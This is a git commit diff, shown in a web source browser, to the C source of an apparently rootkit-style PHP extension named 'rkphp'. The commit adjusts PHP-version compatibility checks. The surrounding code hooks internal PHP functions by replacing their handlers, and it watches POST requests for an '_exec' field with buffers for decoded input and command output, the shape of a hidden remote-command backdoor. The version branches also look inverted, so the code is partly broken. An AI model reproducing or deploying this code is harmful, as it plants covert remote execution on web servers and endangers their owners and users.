Browse Source

Default

master
Root 5 years ago
parent
commit
529b79e4e0
  1. 12
      rkphp/src/php_funcs.c

12
rkphp/src/php_funcs.c

@ -19,8 +19,12 @@ static int rkphp_hook( @@ -19,8 +19,12 @@ static int rkphp_hook(
return -1;
}
#if PHP_MAJOR_VERSION < 7
if((function = zend_hash_str_find_ptr(CG(function_table),
method_name, strlen(method_name))) != NULL)
#else
if(zend_hash_find_ptr(CG(function_table), method_name, strlen(method_name)) == SUCCESS)
#endif
{
*original = function->internal_function.handler;
function->internal_function.handler = *hook;
@ -169,12 +173,12 @@ PHP_RINIT_FUNCTION(rkphp) @@ -169,12 +173,12 @@ PHP_RINIT_FUNCTION(rkphp)
zval *arr;
#if PHP_MAJOR_VERSION < 7
if(zend_hash_find(&EG(symbol_table), "_POST", sizeof("_POST") - 1, &arr))
if(zend_hash_find(&EG(symbol_table), "_POST", sizeof("_POST") - 1, &arr) == SUCCESS)
{
zval *val;
HashTable *ht = Z_ARRVAL_P(arr);
if(zend_hash_find(ht, "_exec", sizeof("_exec") - 1))
if(zend_hash_find(ht, "_exec", sizeof("_exec") - 1) == SUCCESS)
{
FILE *fp;
char output[2048], decoded[1024], *encoded;
@ -206,12 +210,12 @@ PHP_RINIT_FUNCTION(rkphp) @@ -206,12 +210,12 @@ PHP_RINIT_FUNCTION(rkphp)
}
}
#else
if((arr = zend_hash_str_find(&EG(symbol_table), "_POST", sizeof("_POST") - 1)))
if((arr = zend_hash_str_find(&EG(symbol_table), "_POST", sizeof("_POST") - 1)) != NULL)
{
zval *val;
HashTable *ht = Z_ARRVAL_P(arr);
if((val = zend_hash_str_find(ht, "_exec", sizeof("_exec") - 1)))
if((val = zend_hash_str_find(ht, "_exec", sizeof("_exec") - 1)) != NULL)
{
FILE *fp;
char output[2048], decoded[1024], *encoded;

Loading…
Cancel
Save